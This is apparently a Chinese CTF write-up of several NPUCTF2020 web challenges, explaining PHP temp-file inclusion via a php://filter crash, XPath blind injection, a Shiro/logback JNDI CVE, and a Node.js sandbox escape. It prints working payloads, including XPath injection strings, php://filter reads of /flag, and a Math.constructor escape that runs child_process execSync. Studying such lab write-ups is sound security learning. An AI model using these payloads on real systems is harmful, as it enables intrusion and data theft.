[NPUCTF2020]ReadlezPHP
ctrl+u
看源码发现路由
1 | <a href="./time.php?source"></a></p> |
1 |
|
我想着是能直接打木马进去但是发现链接之后啥都没有,那就看phpinfo()
,得到了flag
1 |
|
题目环境中我认为eval
和include
以及call_user_func
都是可以用的但是一用就会出现网页无法运作的页面
[NPUCTF2020]ezinclude
进入之后进行传参发现需要构造cookie
1 | Request: |
1 | Response: |
这里拿到提示之后其实第一时间并不是很明白,怎么整,后面看到说md5强等于pass
,然后尝试了一下发包发现路由
1 | Request: |
1 | Response: |
发现这个
1 | <body> |
那么这里应该就是任意文件读取了
1 | /flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php |
1 |
|
貌似是没有什么用,但是可以继续读取config.php
1 |
|
也还是没有利用点,这里扫描一下后台了只有
1 | [200][text/html; charset=UTF-8][0b] http://92069c2f-6fd0-43a7-a6c9-7f699a22c1da.node5.buuoj.cn:81/config.php |
继续读取
1 |
|
这里是可以打印临时文件夹中的文件,但是还是看不到内容哇
这里我们已知版本为7.0.33
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
那么可以打
1 | import requests |
访问一下/dir.php
,拿到文件名
1 | Request: |
但是很奇怪为什么这里不能RCE仅仅只能进行一个phpinfo()
呢
[NPUCTF2020]web🐕
Padding Oracle原理深度解析&CBC字节翻转攻击原理解析
首先把附件反编译了
1 | package defpackage; |
直接就出了?
1 | a=[102, 108, 97, 103, 123, 119, 101, 54, 95, 52, 111, 103, 95, 49, 115, 95, 101, 52, 115, 121, 103, 48, 105, 110, 103, 125] |
怎么都是密码的东西giao了,后面专门拿一天来研究!!!
[NPUCTF2020]ezlogin
XPATH注入
像这种注入的东西,就直接把他闭合重新插入查询语句即可,那现在来了解一下查询语句类似于下面
1 | "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']"; |
那么此处我插入
$name=admin'or '1'='1
1 | "/root/users/user[username/text()='admin'or '1'='1' and password/text()='".$pwd."']"; |
$name=amdin'or '1'='1' or ''='
1 | "/root/users/user[username/text()='amdin'or '1'='1' or ''='' and password/text()='".$pwd."']"; |
‘’=’’为什么也是恒真,其实很简单,因为两个空字符串恒相等
注意:的是在xpath
的查询语句中没有注释。
那么现在进入环境发现是一个登录界面,直接在username
进行测试,发现确实是注入点
1 | Request: |
而且是xml
,那么xxe
不通的话就很有可能是xpath
注入了
1 | admin'or count(/)=1 or ''=' //看有几个节点 |
有不同回显估计是个盲注
那么一样的测试行不行
1 | admin'or substring(name/*[1],1,1)>'a' or ''=' |
介于没有等同于ascii
函数的函数所以只能用字符了
并且发现这个token
每次都会刷新,那么我们写个脚本来打出结果
1 | import requests |
最后md5解密得到密码是gtfly123
登录之后源代码里面
1 | ZmxhZyBpcyBpbiAvZmxhZwo= |
并且发现页面有任意文件读取
1 | /admin.php?file=pHp://filter/convert.Base64-encode/resource=/flag |
多次尝试绕过一下就可以了
[NPUCTF2020]EzShiro
CVE-2019-14439
是由logback 引起的 jndi 注入
poc
1 | package Jackson; |
进入环境本身应该是有一个这样的pom.xml
1 | <dependencies> |
那么直接使用工具吧(java我的爱,但是不会)
ysomap工具
1 | java -jar ysomap.jar cli |
但是我运行java文件是没有成功的,而且这个工具也没有cc8,真是奇怪了,那个师傅怎么成功的呢
[NPUCTF2020]验证🐎
呆jio不,不会哇,看着学习一下吧
1 | const express = require('express'); |
首先绕过那层md5,还是比较简单的,直接绕过就可以了
已知keys[0]
固定,那么可以看成是这样子
1 | [1]+'1' //'11' |
1 | function saferEval(str) { |
这里只有math
和数字\一些符号啥的
定义一个匿名的箭头函数(参数为Math
)
1 | ((Math) => { ... }) |
对象的 constructor
属性
在 JavaScript 中,每个对象都有一个
constructor
属性,它指向创建该对象的构造函数。Math是一个全局对象。通常来说,
Math.constructor
默认返回的是Object
构造函数,但是如果进行重定义Math = Math.constructor;
那么Math就被指向了Function
构造器,那么此时进行引用,就可以动态执行代码
1 | Math.fromCharCode(114,101,116,117,114,110,32,103,108,111,98,97,108,46,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,99,111,110,115,116,114,117,99,116,111,114,46,95,108,111,97,100,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41) |
1 | //第一个Math都是系统的全局对象 |
最后执行的命令也就是
1 | Function("return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')")(); |
payload
为
1 | ((Math)=>(Math=Math+1,Math=Math.constructor,Math.x=Math.constructor,Math.x(Math.fromCharCode(114,101,116,117,114,110,32,103,108,111,98,97,108,46,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,99,111,110,115,116,114,117,99,116,111,114,46,95,108,111,97,100,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math) |
看包
1 | Reqeust: |
好玩!!!